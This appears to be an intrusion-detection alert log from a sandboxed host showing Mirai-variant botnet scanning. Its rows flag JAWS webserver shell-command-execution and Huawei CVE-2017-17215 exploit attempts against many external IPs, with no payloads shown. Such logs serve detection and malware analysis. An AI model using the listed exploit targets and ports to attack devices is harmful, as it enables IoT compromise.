2025-01-05T14:35:52.185776+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53972	194.153.133.9	80	TCP
2025-01-05T14:35:52.199618+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41276	9.153.182.118	80	TCP
2025-01-05T14:35:52.199618+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41276	9.153.182.118	80	TCP
2025-01-05T14:35:52.199648+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37028	172.54.216.177	80	TCP
2025-01-05T14:35:52.199648+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37028	172.54.216.177	80	TCP
2025-01-05T14:35:52.199840+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47578	201.193.45.222	80	TCP
2025-01-05T14:35:52.199840+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47578	201.193.45.222	80	TCP
2025-01-05T14:35:52.199861+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35014	124.75.127.217	80	TCP
2025-01-05T14:35:52.199861+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35014	124.75.127.217	80	TCP
2025-01-05T14:35:52.201171+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52070	50.81.190.127	80	TCP
2025-01-05T14:35:52.201171+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52070	50.81.190.127	80	TCP
2025-01-05T14:35:52.201239+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46294	68.213.24.211	80	TCP
2025-01-05T14:35:52.201239+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46294	68.213.24.211	80	TCP
2025-01-05T14:35:52.201318+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36348	121.240.111.113	80	TCP
2025-01-05T14:35:52.201318+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36348	121.240.111.113	80	TCP
2025-01-05T14:35:52.203333+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54400	95.248.11.112	80	TCP
2025-01-05T14:35:52.203333+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54400	95.248.11.112	80	TCP
2025-01-05T14:35:52.215150+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53620	72.255.75.86	80	TCP
2025-01-05T14:35:52.215150+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53620	72.255.75.86	80	TCP
2025-01-05T14:35:52.215196+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36384	155.93.24.70	80	TCP
2025-01-05T14:35:52.215196+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36384	155.93.24.70	80	TCP
2025-01-05T14:35:52.215257+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50524	110.227.91.241	80	TCP
2025-01-05T14:35:52.215257+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50524	110.227.91.241	80	TCP
2025-01-05T14:35:52.215341+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37850	175.105.94.26	80	TCP
2025-01-05T14:35:52.215341+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37850	175.105.94.26	80	TCP
2025-01-05T14:35:52.218871+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35134	64.155.93.64	80	TCP
2025-01-05T14:35:52.218871+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35134	64.155.93.64	80	TCP
2025-01-05T14:35:52.218971+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48104	91.50.22.153	80	TCP
2025-01-05T14:35:52.218971+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48104	91.50.22.153	80	TCP
2025-01-05T14:35:52.219052+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37002	197.235.193.122	80	TCP
2025-01-05T14:35:52.219052+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37002	197.235.193.122	80	TCP
2025-01-05T14:35:52.219187+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48348	128.70.32.208	80	TCP
2025-01-05T14:35:52.219187+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48348	128.70.32.208	80	TCP
2025-01-05T14:35:52.219189+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53908	13.221.44.196	80	TCP
2025-01-05T14:35:52.219189+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53908	13.221.44.196	80	TCP
2025-01-05T14:35:52.219299+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37546	134.250.205.146	80	TCP
2025-01-05T14:35:52.219299+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37546	134.250.205.146	80	TCP
2025-01-05T14:35:52.220832+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56804	180.169.140.130	80	TCP
2025-01-05T14:35:52.220832+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56804	180.169.140.130	80	TCP
2025-01-05T14:35:52.220901+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45574	2.49.73.35	80	TCP
2025-01-05T14:35:52.220901+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45574	2.49.73.35	80	TCP
2025-01-05T14:35:52.221026+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60988	152.88.31.1	80	TCP
2025-01-05T14:35:52.221026+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60988	152.88.31.1	80	TCP
2025-01-05T14:35:52.234605+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43712	111.26.80.51	80	TCP
2025-01-05T14:35:52.234605+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43712	111.26.80.51	80	TCP
2025-01-05T14:35:52.236381+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54306	88.120.241.79	80	TCP
2025-01-05T14:35:52.236381+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54306	88.120.241.79	80	TCP
2025-01-05T14:35:52.236383+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33958	46.156.221.234	80	TCP
2025-01-05T14:35:52.236383+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33958	46.156.221.234	80	TCP
2025-01-05T14:35:52.236438+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39712	53.184.59.4	80	TCP
2025-01-05T14:35:52.236438+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39712	53.184.59.4	80	TCP
2025-01-05T14:35:52.236565+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48744	8.201.20.73	80	TCP
2025-01-05T14:35:52.236565+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48744	8.201.20.73	80	TCP
2025-01-05T14:35:52.249463+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35088	91.181.66.11	80	TCP
2025-01-05T14:35:52.249463+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35088	91.181.66.11	80	TCP
2025-01-05T14:35:52.293415+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42590	156.117.200.120	37215	TCP
2025-01-05T14:35:53.217094+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39750	86.148.1.108	80	TCP
2025-01-05T14:35:53.217094+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39750	86.148.1.108	80	TCP
2025-01-05T14:35:53.230782+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42842	209.99.144.229	80	TCP
2025-01-05T14:35:53.230782+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42842	209.99.144.229	80	TCP
2025-01-05T14:35:53.230969+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59368	109.9.237.120	80	TCP
2025-01-05T14:35:53.230969+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59368	109.9.237.120	80	TCP
2025-01-05T14:35:53.233920+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59538	13.112.74.67	80	TCP
2025-01-05T14:35:53.233920+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59538	13.112.74.67	80	TCP
2025-01-05T14:35:53.234073+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50726	170.233.248.53	80	TCP
2025-01-05T14:35:53.234073+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50726	170.233.248.53	80	TCP
2025-01-05T14:35:53.234605+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44514	75.98.61.237	80	TCP
2025-01-05T14:35:53.234605+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	44514	75.98.61.237	80	TCP
2025-01-05T14:35:53.236394+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47038	40.63.47.47	80	TCP
2025-01-05T14:35:53.236394+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47038	40.63.47.47	80	TCP
2025-01-05T14:35:53.477999+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39636	132.204.175.226	80	TCP
2025-01-05T14:35:53.477999+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39636	132.204.175.226	80	TCP
2025-01-05T14:35:54.231017+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39168	100.15.223.173	80	TCP
2025-01-05T14:35:54.231017+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39168	100.15.223.173	80	TCP
2025-01-05T14:35:54.232880+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39958	157.87.13.249	80	TCP
2025-01-05T14:35:54.232880+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39958	157.87.13.249	80	TCP
2025-01-05T14:35:54.264000+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35984	37.239.16.173	80	TCP
2025-01-05T14:35:54.264000+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35984	37.239.16.173	80	TCP
2025-01-05T14:35:54.264097+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55178	160.47.147.222	80	TCP
2025-01-05T14:35:54.264097+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55178	160.47.147.222	80	TCP
2025-01-05T14:35:54.264169+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49950	89.95.173.125	80	TCP
2025-01-05T14:35:54.264169+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49950	89.95.173.125	80	TCP
2025-01-05T14:35:54.264327+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40162	106.13.106.103	80	TCP
2025-01-05T14:35:54.264327+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40162	106.13.106.103	80	TCP
2025-01-05T14:35:54.264426+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40544	108.1.135.118	80	TCP
2025-01-05T14:35:54.264426+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40544	108.1.135.118	80	TCP
2025-01-05T14:35:54.265254+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36066	195.16.153.101	80	TCP
2025-01-05T14:35:54.265254+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36066	195.16.153.101	80	TCP
2025-01-05T14:35:54.265795+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41568	161.99.89.171	80	TCP
2025-01-05T14:35:54.265795+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41568	161.99.89.171	80	TCP
2025-01-05T14:35:54.265897+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36438	104.110.22.107	80	TCP
2025-01-05T14:35:54.265897+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36438	104.110.22.107	80	TCP
2025-01-05T14:35:54.267714+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56832	105.215.225.237	80	TCP
2025-01-05T14:35:54.267714+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56832	105.215.225.237	80	TCP
2025-01-05T14:35:54.267850+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45386	213.86.123.102	80	TCP
2025-01-05T14:35:54.267850+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45386	213.86.123.102	80	TCP
2025-01-05T14:35:54.295057+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35474	205.165.41.239	80	TCP
2025-01-05T14:35:54.295057+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35474	205.165.41.239	80	TCP
2025-01-05T14:35:54.298076+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60320	129.215.165.65	80	TCP
2025-01-05T14:35:54.298076+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60320	129.215.165.65	80	TCP
2025-01-05T14:35:54.310639+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56314	170.198.251.169	80	TCP
2025-01-05T14:35:54.310639+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56314	170.198.251.169	80	TCP
2025-01-05T14:35:54.359729+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50856	36.183.161.33	80	TCP
2025-01-05T14:35:54.359729+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50856	36.183.161.33	80	TCP
2025-01-05T14:35:55.262147+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57596	79.76.26.220	80	TCP
2025-01-05T14:35:55.262147+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57596	79.76.26.220	80	TCP
2025-01-05T14:35:55.262226+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55018	128.125.140.209	80	TCP
2025-01-05T14:35:55.262226+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55018	128.125.140.209	80	TCP
2025-01-05T14:35:55.262316+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42784	178.190.172.115	80	TCP
2025-01-05T14:35:55.262316+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42784	178.190.172.115	80	TCP
2025-01-05T14:35:55.262421+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50314	176.176.140.167	80	TCP
2025-01-05T14:35:55.262421+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50314	176.176.140.167	80	TCP
2025-01-05T14:35:55.262431+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46818	41.146.234.24	80	TCP
2025-01-05T14:35:55.262431+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46818	41.146.234.24	80	TCP
2025-01-05T14:35:55.262532+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38236	188.94.114.230	80	TCP
2025-01-05T14:35:55.262532+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38236	188.94.114.230	80	TCP
2025-01-05T14:35:55.263868+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42116	120.195.206.103	80	TCP
2025-01-05T14:35:55.263868+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42116	120.195.206.103	80	TCP
2025-01-05T14:35:55.264012+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57808	207.23.131.160	80	TCP
2025-01-05T14:35:55.264012+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57808	207.23.131.160	80	TCP
2025-01-05T14:35:55.277796+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46854	84.132.241.213	80	TCP
2025-01-05T14:35:55.277796+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46854	84.132.241.213	80	TCP
2025-01-05T14:35:55.277800+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41404	52.175.46.47	80	TCP
2025-01-05T14:35:55.277800+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41404	52.175.46.47	80	TCP
2025-01-05T14:35:55.278372+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53348	180.151.154.210	80	TCP
2025-01-05T14:35:55.278372+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53348	180.151.154.210	80	TCP
2025-01-05T14:35:55.278627+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49140	185.152.200.159	80	TCP
2025-01-05T14:35:55.278627+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49140	185.152.200.159	80	TCP
2025-01-05T14:35:55.278711+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57128	115.51.35.139	80	TCP
2025-01-05T14:35:55.278711+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57128	115.51.35.139	80	TCP
2025-01-05T14:35:55.279340+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57834	45.185.235.218	80	TCP
2025-01-05T14:35:55.279340+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57834	45.185.235.218	80	TCP
2025-01-05T14:35:55.279801+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55430	175.214.12.172	80	TCP
2025-01-05T14:35:55.279801+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55430	175.214.12.172	80	TCP
2025-01-05T14:35:55.279855+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33178	210.136.115.249	80	TCP
2025-01-05T14:35:55.279855+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33178	210.136.115.249	80	TCP
2025-01-05T14:35:55.280852+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57656	148.204.24.211	80	TCP
2025-01-05T14:35:55.280852+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57656	148.204.24.211	80	TCP
2025-01-05T14:35:55.281482+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54948	5.94.43.67	80	TCP
2025-01-05T14:35:55.281482+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54948	5.94.43.67	80	TCP
2025-01-05T14:35:55.281542+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	32818	31.10.232.31	80	TCP
2025-01-05T14:35:55.281542+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	32818	31.10.232.31	80	TCP
2025-01-05T14:35:55.281601+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44434	105.242.15.54	80	TCP
2025-01-05T14:35:55.281601+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	44434	105.242.15.54	80	TCP
2025-01-05T14:35:55.281982+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42066	166.182.227.233	80	TCP
2025-01-05T14:35:55.281982+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42066	166.182.227.233	80	TCP
2025-01-05T14:35:55.282576+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57274	59.25.206.107	80	TCP
2025-01-05T14:35:55.282576+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57274	59.25.206.107	80	TCP
2025-01-05T14:35:55.282919+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51618	82.251.219.225	80	TCP
2025-01-05T14:35:55.282919+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51618	82.251.219.225	80	TCP
2025-01-05T14:35:55.293482+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48798	217.105.221.176	80	TCP
2025-01-05T14:35:55.293482+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48798	217.105.221.176	80	TCP
2025-01-05T14:35:55.293604+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39958	17.95.41.188	80	TCP
2025-01-05T14:35:55.293604+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39958	17.95.41.188	80	TCP
2025-01-05T14:35:55.295170+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45820	44.12.73.52	80	TCP
2025-01-05T14:35:55.295170+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45820	44.12.73.52	80	TCP
2025-01-05T14:35:55.295306+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36040	190.187.20.193	80	TCP
2025-01-05T14:35:55.295306+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36040	190.187.20.193	80	TCP
2025-01-05T14:35:55.297270+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35280	38.125.109.201	80	TCP
2025-01-05T14:35:55.297270+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35280	38.125.109.201	80	TCP
2025-01-05T14:35:55.297428+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59888	142.145.105.166	80	TCP
2025-01-05T14:35:55.297428+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59888	142.145.105.166	80	TCP
2025-01-05T14:35:55.298925+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51660	86.213.143.207	80	TCP
2025-01-05T14:35:55.298925+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51660	86.213.143.207	80	TCP
2025-01-05T14:35:55.310868+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57916	154.23.91.191	80	TCP
2025-01-05T14:35:55.310868+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57916	154.23.91.191	80	TCP
2025-01-05T14:35:55.314537+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43048	220.142.123.71	80	TCP
2025-01-05T14:35:55.314537+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43048	220.142.123.71	80	TCP
2025-01-05T14:35:56.277823+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48306	43.72.124.75	80	TCP
2025-01-05T14:35:56.277823+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48306	43.72.124.75	80	TCP
2025-01-05T14:35:56.277933+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41714	78.64.142.87	80	TCP
2025-01-05T14:35:56.277933+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41714	78.64.142.87	80	TCP
2025-01-05T14:35:56.293350+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56108	63.33.95.195	80	TCP
2025-01-05T14:35:56.293350+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56108	63.33.95.195	80	TCP
2025-01-05T14:35:56.293399+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36068	191.129.227.138	80	TCP
2025-01-05T14:35:56.293399+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36068	191.129.227.138	80	TCP
2025-01-05T14:35:56.293511+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39342	122.114.105.168	80	TCP
2025-01-05T14:35:56.293511+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39342	122.114.105.168	80	TCP
2025-01-05T14:35:56.293521+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46154	69.56.147.184	80	TCP
2025-01-05T14:35:56.293521+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46154	69.56.147.184	80	TCP
2025-01-05T14:35:56.295097+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49396	182.20.15.57	80	TCP
2025-01-05T14:35:56.295097+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49396	182.20.15.57	80	TCP
2025-01-05T14:35:56.295200+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57708	177.15.115.7	80	TCP
2025-01-05T14:35:56.295200+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57708	177.15.115.7	80	TCP
2025-01-05T14:35:56.297148+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47182	207.55.47.103	80	TCP
2025-01-05T14:35:56.297148+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47182	207.55.47.103	80	TCP
2025-01-05T14:35:56.298924+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50714	74.138.142.166	80	TCP
2025-01-05T14:35:56.298924+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50714	74.138.142.166	80	TCP
2025-01-05T14:35:56.299016+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60462	190.171.60.42	80	TCP
2025-01-05T14:35:56.299016+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60462	190.171.60.42	80	TCP
